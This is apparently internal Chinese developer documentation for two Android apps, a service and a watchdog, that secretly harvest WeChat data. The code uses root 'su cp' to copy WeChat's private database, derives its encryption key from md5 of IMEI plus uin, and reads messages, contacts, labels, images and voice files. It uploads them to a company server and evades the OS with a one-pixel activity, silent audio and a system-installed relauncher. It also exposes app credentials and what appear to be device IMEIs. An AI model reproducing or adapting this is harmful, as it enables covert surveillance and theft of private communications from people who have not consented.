简介：安装美莱守护app是为了配合新美莱服务使用，由于不确定因素新美莱服务进程可能被手机杀死。而美莱守护可以定时唤起新美莱服务。美莱服务只是负责处理微信聊天数据并上传

新美莱服务

1. Xapp 继承Application，主要初始化自动更新参数、日志初始化，启动JobService，此时定时器已经开始执行。
2. MainActivity，为app页面入口，仅是辅助定时器使用。按钮分别如下：

- "启动系统保活"：在JobService初始化异常时候重新启动定时器。
- 点我开始，可重复点击。(start)：当没有“APP自启动权限”跳转到设置页面。
- 选择上传数据频率：开始上传微信数据的间隔。
- 没经过同意，别输入内容。：当用户没有获取到设备IMEI值使用，目前不存在该问题。
- 点我复制(需要先登录微信)及后面所有按钮，都是为了测试使用，正常情况使用不到。

进程保活原理

下面对进程进行说明： 由于锁屏 oom_adj(进程优先级) 开启一像素 Activity 为 0 相当于可见进程，不易被回收，故可以监控手机锁屏解锁事件，在屏幕锁屏时启动 1 个像素透明的 Activity ，在用户解锁时将 Activity 销毁掉，从而达到提高进程优先级的作用。

- 创建 onePxActivity

```
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    //设定一像素的activity
    Window window = getWindow();
    window.setGravity(Gravity.START | Gravity.TOP);
    WindowManager.LayoutParams params = window.getAttributes();
    params.x = 0;
    params.y = 0;
    params.height = 1;
    params.width = 1;
    window.setAttributes(params);
    //在一像素activity里注册广播接受者     接受到广播结束掉一像素
    br = new BroadcastReceiver() {
        @Override
        public void onReceive(Context context, Intent intent) {
            finish();
        }
    };
    registerReceiver(br, new IntentFilter("finish activity"));
    checkScreenOn("onCreate");
}
```

- 创建锁屏开屏广播接收（OnepxReceiver）

```
@Override
public void onReceive(final Context context, Intent intent) {
    if (intent.getAction().equals(Intent.ACTION_SCREEN_OFF)) {    //屏幕关闭的时候接受到广播
```

```
        appIsForeground = IsForeground(context);
        try {
            Intent it = new Intent(context, OnePixelActivity.class);
            it.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
            it.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
            context.startActivity(it);
        } catch (Exception e) {
            e.printStackTrace();
        }
        //通知屏幕已关闭，开始播放无声音乐
        context.sendBroadcast(new Intent("_ACTION_SCREEN_OFF"));
    } else if (intent.getAction().equals(Intent.ACTION_SCREEN_ON)) {    //屏幕打开的时候发送广播   结束一像素
        context.sendBroadcast(new Intent("finish activity"));
        if (!appIsForeground) {
            appIsForeground = false;
            try {
                Intent home = new Intent(Intent.ACTION_MAIN);
                home.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                home.addCategory(Intent.CATEGORY_HOME);
                context.getApplicationContext().startActivity(home);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
        //通知屏幕已点亮，停止播放无声音乐
        context.sendBroadcast(new Intent("_ACTION_SCREEN_ON"));
    }
}
```

- Service 提权 创建一个前台服务用于提高 app 在按下 home 键之后的进程优先级

```
private void startService(Context context) {
        try {
            Log.i(TAG, "---》启动双进程保活服务");
            //启动本地服务
            Intent localIntent = new Intent(context, LocalService.class);
            //启动守护进程
            Intent guardIntent = new Intent(context, RemoteService.class);
            if (Build.VERSION.SDK_INT >= 26) {
                startForegroundService(localIntent);
                startForegroundService(guardIntent);
            } else {
                startService(localIntent);
                startService(guardIntent);
            }
        } catch (Exception e) {
            Log.e(TAG, e.getMessage());
        }
    }
```

```
调用startForeground(KeepAliveConfig.FOREGROUD_NOTIFICATION_ID, notification);启动
```

- JobScheduler 配合JobService使用，定时处理微信数据上传工作，此为核心点。 JobScheduler 允许在特定状态与特定时间间隔周期执行任务。可以利用它的这个特点完成保活的功能,效果即开启一个定时器，与普通定时器不同的是其调度由系统完成。

```
public static void startJob(Context context) {
    try {
        mJobScheduler = (JobScheduler) context.getSystemService(
                Context.JOB_SCHEDULER_SERVICE);
        JobInfo.Builder builder = new JobInfo.Builder(10,
                new ComponentName(context.getPackageName(),
                        JobHandlerService.class.getName())).setPersisted(true);
        /**
         * I was having this problem and after review some blogs and the official documentation,
         * I realised that JobScheduler is having difference behavior on Android N(24 and 25).
         * JobScheduler works with a minimum periodic of 15 mins.
         *
         */
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) {
            //7.0以上延迟1s执行
            builder.setMinimumLatency(KeepAliveConfig.JOB_TIME);
        } else {
            //每隔1s执行一次job
            builder.setPeriodic(KeepAliveConfig.JOB_TIME);
        }
        mJobScheduler.schedule(builder.build());

    } catch (Exception e) {
        Log.e("startJob->", e.getMessage());
    }
}
```

- 另外还有一个后台循环播放一条无声文件(LocalService)

```
        //播放无声音乐
        KeepAliveConfig.runMode = SPUtils.getInstance(getApplicationContext(),
SP_NAME).getInt(KeepAliveConfig.RUN_MODE);
        Log.d(TAG, "运行模式：" + KeepAliveConfig.runMode);
        if (mediaPlayer == null && KeepAliveConfig.runMode == RunMode.HIGH_POWER_CONSUMPTION) {
            mediaPlayer = MediaPlayer.create(this, R.raw.novioce);
            mediaPlayer.setVolume(0f, 0f);
            mediaPlayer.setOnCompletionListener(new MediaPlayer.OnCompletionListener() {
                @Override
                public void onCompletion(MediaPlayer mediaPlayer) {
                    Log.i(TAG, "循环播放音乐");
                    KeepAliveManager.toKeepAlive(
                            getApplication()
                            , HIGH_POWER_CONSUMPTION,
                            "进程保活",
                            "美莱服务",
                            R.mipmap.icon,
                            new ForegroundNotification(
                                    //定义前台服务的通知点击事件
                                    new ForegroundNotificationClickListener() {
                                        @Override
                                        public void foregroundNotificationClick(Context context, Intent
intent) {

                                            RLog.d("JOB-->", TAG +" 开始启动保活");
                                        }
                                    })
                    );
                    play();
                }
```

```
            });
            play();
        }
```

微信数据处理

- root权限判断，没有root权限，会toast提示。

```
//OnePixelActivity
ShellUtils.CommandResult result = ShellUtils.execCmd("echo root", true);
        if (result.result == 0){
            RLog.d("权限判断", "有root权限");
        }else {
            ToastUtils.showLong("没有root权限");
            RLog.d("权限判断", "没有root权限");
        }
```

- 拷贝微信聊天数据库

  原始微信聊天数据存在"/data/data/com.tencent.mm/"目录，复制到"/Android/data/com.mylike.keepalive/files/tencent0/"目录下，执行代码如下：

```
//RootUtil.move0("/data/data/com.tencent.mm/", "/Android/data/com.mylike.keepalive/files/tencent0/");
public static void move0(String oldPath,String newPath){
        try
        {//rm -rf
            boolean isDelete = FileUtils.deleteAllInDir(newPath);
//            RLog.i("move0-deleteAllInDir:",isDelete+"");
//            if (isDelete) {
              String comando = "cp -raf"+" "+oldPath+" "+ " "+newPath;
              Process suProcess = Runtime.getRuntime().exec("su");
              DataOutputStream os = new DataOutputStream(suProcess.getOutputStream());
              os.writeBytes(comando + "\n");
              os.flush();
              os.writeBytes("exit\n");
              os.flush();
              int suProcessRetval = suProcess.waitFor();
              RLog.i("move0-suProcessRetval:",suProcessRetval+"");
              if (1== suProcessRetval||0==suProcessRetval)
              {
                  UploadService.getInstance(XApp.getApp()).startUpload();
              }

        }
        catch (Exception ex)
        {
            RLog.i("Error ejecutando el comando Root",""+ ex);
        }
    }
```

- 对复制出来的目录文件进行权限赋值，执行如下代码。

```
//"/Android/data/com.mylike.keepalive/files/tencent0/"
public static void execRootCmd(String paramString) {
```

```
        try {
            Process localProcess = Runtime.getRuntime().exec("su");
            Object localObject = localProcess.getOutputStream();
            DataOutputStream localDataOutputStream = new DataOutputStream((OutputStream) localObject);
            String str = String.valueOf(paramString);
            localObject = str + "\n";
            localDataOutputStream.writeBytes((String) localObject);
            localDataOutputStream.flush();
            localDataOutputStream.writeBytes("exit\n");
            localDataOutputStream.flush();
            localProcess.waitFor();
            localObject = localProcess.exitValue();
        } catch (Exception localException) {
            localException.printStackTrace();
        }
    }
```

- 对复制出来的聊天数据库进行操作，此步骤为核心，只有正确打开数据库，才可以进行后续操作，数据库密码规则为字符串imei + uin，然后进行md5加密，取前7位。打开聊天数据库代码如下：

```
public static String getImei() {
        SharedPreferences mSharedPreferences =
UploadService.getContext().getSharedPreferences("yes_getImei", MODE_PRIVATE);
        String imei = mSharedPreferences.getString("Imei", "");
        if (StringUtils.isEmpty(imei)){
            imei = SqlDataUtil.getCurrWxIMEI1();//来自微信源码
            RLog.d(TAG, "SqlDataUtil.getCurrWxIMEI1----KeyInfo的imei值为: " + imei);
        }
        if (StringUtils.isEmpty(imei)){
            imei = SqlDataUtil.getCurrWxIMEI();
            RLog.d(TAG, "SqlDataUtil.getCurrWxIMEI----IMEI_DENGTA的imei值为: " + imei);
        }

        if (StringUtils.isEmpty(imei)) {
//            SharedPreferences mSharedPreferences =
UploadService.getContext().getSharedPreferences("yes_getImei", MODE_PRIVATE);
            imei = mSharedPreferences.getString("Imei", "");
        }
        RLog.d(TAG, "最终的imei值为: " + imei);
        return imei;
    }

//String userFileName = SqlDataUtil.md5("mm" + SqlDataUtil.getCurrWxUin());//md5加密
//Android/data/com.mylike.keepalive/files/tencent0/com.tencent.mm/MicroMsg/userFileName/EnMicroMsg.db
public static SQLiteDatabase openCommonWxDb(File dbFile, String imei) {
        SQLiteDatabase.loadLibs(XApp.getApp());
        SQLiteDatabaseHook hook = new SQLiteDatabaseHook() {
            @Override
            public void preKey(SQLiteDatabase database) {
            }

            @Override
            public void postKey(SQLiteDatabase database) {
                //兼容2.0的数据库
                database.rawExecSQL("PRAGMA cipher_migrate;");
            }
        };
```

```
        try {//5078aa1   255277677194494
//            String password = getDbPassword(ACache.get(XApp.getApp()).getAsString(CACHE_PHONE_IMEI),
getCurrWxUin());
            String password = getDbPassword(imei, getCurrWxUin());//imei: 99001068505792 867392030135845
867392030135852  654313269
            Log.d("TAG", "密码====" + password);
            RLog.i(TAG,"密码====" + password );
            if (StringUtils.isEmpty(password))return  null;
//            SQLiteDatabase.releaseMemory();
            //打开数据库连接
            SQLiteDatabase db = SQLiteDatabase.openOrCreateDatabase(dbFile, password, null, hook);
            RLog.i(TAG," Open SQLiteDatabase 成功! " );
            return db;
            //微信数据库路
径:/data/data/io.va.exposed/virtual/data/user/0/com.tencent.mm/MicroMsg/21b7c922df1e19176ece481a7137e508/E
nMicroMsg.db-shm
        } catch (Exception e) {
            RLog.d("WeChatUtil", "读取数据库信息失败" + e.toString());
            RLog.i(TAG," Open SQLiteDatabase 失败:  " + e.toString());
            e.printStackTrace();
            return null;
        }
    }
```

- 通过查找表userinfo，获取wxId，此为关键。 代码如下：

```
//userInfo.value 就是 wxId
public static List<UserInfo> getUserInfoList(SQLiteDatabase db){
        SharedPreferences mSharedPreferences1 =  XApp.getApp().getSharedPreferences("yes_getImei",
MODE_PRIVATE);
        String RegId = mSharedPreferences1.getString("RegId","");
        Cursor cursor = db.query("userinfo", new String[]{"id", "value"}, "id>? and id<?", new String[]
{"0", "7"}, null, null, null);
        List<UserInfo> userInfos =new ArrayList<>();
        while (cursor.moveToNext()) {
            UserInfo userInfo =new UserInfo();
            String serverNickId = cursor.getString(cursor.getColumnIndex("id"));
            String serverValue = cursor.getString(cursor.getColumnIndex("value"));
            userInfo.id=serverNickId;
            userInfo.value=serverValue;
            userInfos.add(userInfo);
        }

        cursor.close();
        return userInfos;
    }
```

- 通过查找表message，获取聊天记录的待上传数据总数量。

```
public static int getTotalCount(SQLiteDatabase db,String createTime){
        Cursor cursor =db.rawQuery("select count(*) from message where createTime > ?", new String[]
{createTime}); //db.query("SnsInfo",new String[]{"snsId"} , null, null, null, null, null,null);
        int count =0;
        while (cursor.moveToNext()) {
            count =cursor.getInt(0);
        }
```

```
        cursor.close();
        return count;
    }
```

- 根据表message查找到的聊天记录总待上传数据，通过CountDownLatch计数上传，如果上传失败重试一次。

```
public void uploadMessage(String wxId, String updateTime) {
        RLog.d(TAG, "uploadMessage");
        try {
            int totalCount = MessageHelper.getTotalCount(contactDb, updateTime);
            RLog.d(TAG, "这一行执行-uploadMessage-totalCount:"+totalCount);
            if (totalCount == 0) {
                return;
            }
            int pageCount = (int) Math.ceil(totalCount / pageSize);
            CountDownLatch countDownLatch = new CountDownLatch(pageCount);
            uploadMessageToServer(wxId, 0, pageCount, 1, countDownLatch, updateTime);
            countDownLatch.await();
        } catch (Exception e) {
            e.printStackTrace();
            RLog.d(TAG, e.getMessage());
        }
    }
```

- 根据表rcontact查找联系人总数量，通过CountDownLatch计数上传，如果上传失败重试一次。

```
public static int getTotalCount(SQLiteDatabase db){
        Cursor cursor =db.rawQuery("select count(*) from userinfo", null);  //db.query("SnsInfo",new
String[]{"snsId"} , null, null, null, null, null,null);
        int count =0;
        while (cursor.moveToNext()) {
            count =cursor.getInt(0);
        }

        cursor.close();
        return count;
    }


public void uploadRContact(String wxId, String updateTime) {
        RLog.d(TAG, "uploadRContact");
        try {
            int totalCount = RcontactHelper.getTotalCount(contactDb);
            if (totalCount == 0) {
                return;
            }
            int totalCount1 = SPUtils.getInstance().getInt("RContact_totalCount");
            if (totalCount1 ==totalCount) {
                return;
            }
            SPUtils.getInstance().put("RContact_totalCount", totalCount);
            int pageCount = (int) Math.ceil(totalCount / pageSize);
            CountDownLatch countDownLatch = new CountDownLatch(pageCount);
            uploadRcontactToServer(wxId, 0, pageCount, 0, countDownLatch, updateTime);
            countDownLatch.await();
        } catch (Exception e) {
            e.printStackTrace();
            RLog.d(TAG, e.getMessage());
```

```
        }
    }
```

- 根据userinfo查找用户相关数据 然后上传。

```
public static int getTotalCount(SQLiteDatabase db){
        Cursor cursor =db.rawQuery("select count(*) from userinfo", null);  //db.query("SnsInfo",new
String[]{"snsId"} , null, null, null, null, null,null);
        int count =0;
        while (cursor.moveToNext()) {
            count =cursor.getInt(0);
        }

        cursor.close();
        return count;
    }


    public void uploadUserInfo(String wxId, String updateTime) {
        try {
            RLog.d(TAG, "uploadUserInfo");

            int totalCount = UserInfoHelper.getTotalCount(contactDb);
            if (totalCount == 0) {
                return;
            }
            int pageCount = (int) Math.ceil(totalCount / pageSize);
            CountDownLatch countDownLatch = new CountDownLatch(pageCount);
            uploadUserInfoToServer(wxId, 0, pageCount, 0, countDownLatch, updateTime);
            countDownLatch.await();

        } catch (Exception e) {
            e.printStackTrace();
            RLog.d(TAG, e.getMessage());
        }
    }
```

- 根据contactlabel查找联系人备注昵称 相关数据，通过CountDownLatch计数上传。

```
public static int getTotalCount(SQLiteDatabase db,String updateTime){
        Cursor cursor =db.rawQuery("select count(*) from contactlabel"+" where  createTime > ?", new
String[]{updateTime}); //db.query("SnsInfo",new String[]{"snsId"} , null, null, null, null, null,null);
        int count =0;
        while (cursor.moveToNext()) {
            count =cursor.getInt(0);
        }

        cursor.close();
        return count;
    }


    public void uploadContactLabel(String wxId, String updateTime) {
        try {
            RLog.d(TAG, "uploadContactLabel");
```

```
            int totalCount = ContactLabelHelper.getTotalCount(contactDb, updateTime);
            if (totalCount == 0) {
                return;
            }
            int pageCount = (int) Math.ceil(totalCount / pageSize);
            CountDownLatch countDownLatch = new CountDownLatch(pageCount);
            uploadContactLabelToServer(wxId, 0, pageCount, 0, countDownLatch, updateTime);
            countDownLatch.await();

        } catch (Exception e) {
            e.printStackTrace();
            RLog.d(TAG, e.getMessage());
        }
    }
```

- 使用同样的方法打开数据库WxFileIndex.db。然后读取WxFileIndex2表获取图片及语音保存在手机里的路径然后上传，代码如下：

```
public static ArrayList<FileIndexBean> getFileList(SQLiteDatabase fileIndeDb) {
            ArrayList<FileIndexBean> fileIndexBeans = new ArrayList<>();
        try {
            Cursor cursor = fileIndeDb.query("WxFileIndex2", null, null, null, null, null, "msgtime asc");
            while (cursor.moveToNext()) {
                FileIndexBean fileIndexBean = new FileIndexBean();
                String path = cursor.getString(cursor.getColumnIndex("path"));
                String msgType = cursor.getString(cursor.getColumnIndex("msgType"));
                String msgSubType = cursor.getString(cursor.getColumnIndex("msgSubType"));
                String msgtime = cursor.getString(cursor.getColumnIndex("msgtime"));
                String size = cursor.getString(cursor.getColumnIndex("size"));
                String msgId = cursor.getString(cursor.getColumnIndex("msgId"));
                String username = cursor.getString(cursor.getColumnIndex("username"));
                fileIndexBean.setPath(path);
                fileIndexBean.setMsgType(msgType);
                fileIndexBean.setMsgSubType(msgSubType);
                fileIndexBean.setMsgtime(msgtime);
                fileIndexBean.setSize(size);
                fileIndexBean.setMsgId(msgId);
                fileIndexBean.setUsername(username);
                String msgtimeSP = SPUtils.getInstance().getString("msgtime");
                if (StringUtils.isEmpty(msgtimeSP)) {//第一次
                    if ("21".equals(msgSubType)) {
//                        SPUtils.getInstance().put("msgtime", msgtime);
                        fileIndexBeans.add(fileIndexBean);
                    }
                } else if (!StringUtils.isEmpty(msgtime)) {
                    Long timeSPl = Long.parseLong(msgtimeSP);
                    Long msgtimel = Long.parseLong(msgtime);
                    if ("21".equals(msgSubType) && msgtimel > timeSPl) {
//                        SPUtils.getInstance().put("msgtime", msgtime);
                        fileIndexBeans.add(fileIndexBean);
                    }
                }
            }

            cursor.close();
            return fileIndexBeans;
        }catch (Exception e){
            return fileIndexBeans;
        }
```

```
    }



    FormBody body = FormBody.newBuilder()
                .param("appid", "ossa568ok")
                .param("appsecret", "uiuo3q0m")
                .files("file", listFiles).build();
        KalleConfig config = KalleConfig.newBuilder().connectionTimeout(50,TimeUnit.SECONDS)
        .readTimeout(50,TimeUnit.SECONDS)
        .build();
        Kalle.setConfig(config);
        Kalle.post(ConfigWechat.uploadFilePicOSS).body(body).perform(new QueryCallBack<String>() {

            @Override
            public void onResponse(SimpleResponse<String, String> response) {
//                RLog.d(TAG, "response-httpSendPic: " + response.succeed());
                try {
                    if (!StringUtils.isEmpty(response.succeed())) {
                        JSONObject jsonObject = new JSONObject(response.succeed());
                        String data = jsonObject.getJSONArray("data").toString();
                        httpPicAddress(endtime, wxid, data,countDownLatch,currentCount,totalCount,list);
                    }
                }catch (Exception e){
                    releaseCountDownLatch(currentCount, totalCount, countDownLatch);
                    RLog.i(TAG, "FileIndexBean=uploadFilePicOSS:" + e.getMessage());
                }

            }
        });
```

另：如果使用微信分身的话，只是微信原始数据库保存的路径"/data/data/com.tencent.mm/"改为"/data/user/999/com.tencent.mm/"，然后分别拷贝到本地二个文件夹下进行后续处理。其余都是一样的逻辑，文档中不再赘述，详见代码。

美莱守护

美莱守护app是比较简洁，仅仅是当美莱服务被各种原因杀死后换起而已。 由于美莱守护是安装在系统目录下，在任何情况下都不会被系统杀死。所以可以换起美莱服务。 当美莱服务有新版本需要升级，自动跳转到美莱服务提示升级。详见下面三点说明。

- 具体在MyApp(继承Application)中开启handler，每隔10s判断一次app列表中是否存在美莱服务的包名（com.mylike.keepalive），如果不存在，说明已经被卸载。

```
public static boolean isApplicationAvilible(Context context, String appPackageName) {
        PackageManager packageManager = context.getPackageManager();// 获取packagemanager
        List<PackageInfo> pinfo = packageManager.getInstalledPackages(0);// 获取所有已安装程序的包信息
        if (pinfo != null) {
            for (int i = 0; i < pinfo.size(); i++) {
                String pn = pinfo.get(i).packageName;
                if (appPackageName.equals(pn)) {
                    return true;
                }
            }
        }
        return false;
```

```
    }
```

- 每隔5分钟跳转到美莱服务的1像素页面，这样可以在美莱服务被杀死的情况下唤醒。代码如下：

```
 private void sendDelayMeg() {
        try {
            Intent intent = new Intent(Intent.ACTION_MAIN);
            /**知道要跳转应用的包命与目标Activity*/
            ComponentName componentName = new ComponentName("com.mylike.keepalive",
"live_library.onepx.OnePixelActivity");
            intent.setComponent(componentName);
            //这里Intent传值
            Bundle bundle = new Bundle();
            bundle.putString("KEY", "1");//"1"需要处理心跳
            intent.putExtras(bundle);
            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
            startActivity(intent);
        } catch (Exception e) {
            Log.e("MyApp--跳转到新美莱服务异常", e.getMessage());
        }
    }
```

- 每隔5分钟调用后台接口判断是否有美莱服务新版本，如有跳转到主页面提示更新。代码如下：

```
 private void sendDelayMeg() {
        try {
            Intent intent = new Intent(Intent.ACTION_MAIN);
            /**知道要跳转应用的包命与目标Activity*/
            ComponentName componentName = new ComponentName("com.mylike.keepalive",
"live_library.onepx.OnePixelActivity");
            intent.setComponent(componentName);
            //这里Intent传值
            Bundle bundle = new Bundle();
            bundle.putString("KEY", "1");//"1"需要处理心跳
            intent.putExtras(bundle);
            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
            startActivity(intent);
        } catch (Exception e) {
            Log.e("MyApp--跳转到新美莱服务异常", e.getMessage());
        }
    }


    private void getVersionNet() {
     Kalle.get("http://monitor.shmylike.com//groupCtrlApi/his_cloud/wechatVersion").

        perform(new QueryCallBack<String>() {

        @Override
        public void onResponse (SimpleResponse< String, String > response){
            try {
                JSONObject jsonObject = new JSONObject(response.succeed());
                int VersionCode = jsonObject.optInt("VersionCode");
                int vcode = getPackageCode(MyApp.this,"com.mylike.keepalive");
                if (vcode<VersionCode) {
                    Intent intent = new Intent(Intent.ACTION_MAIN);
```

```
                    /**知道要跳转应用的包命与目标Activity*/
                    ComponentName componentName = new ComponentName("com.mylike.keepalive",
"com.mylike.keepalive.MainActivity");
                    intent.setComponent(componentName);
                    //这里Intent传值
                    Bundle bundle = new Bundle();
                    bundle.putString("KEY", "2");
                    intent.putExtras(bundle);
                    intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                    startActivity(intent);
                }
            } catch (Exception e) {

            }
        }
    });
}
```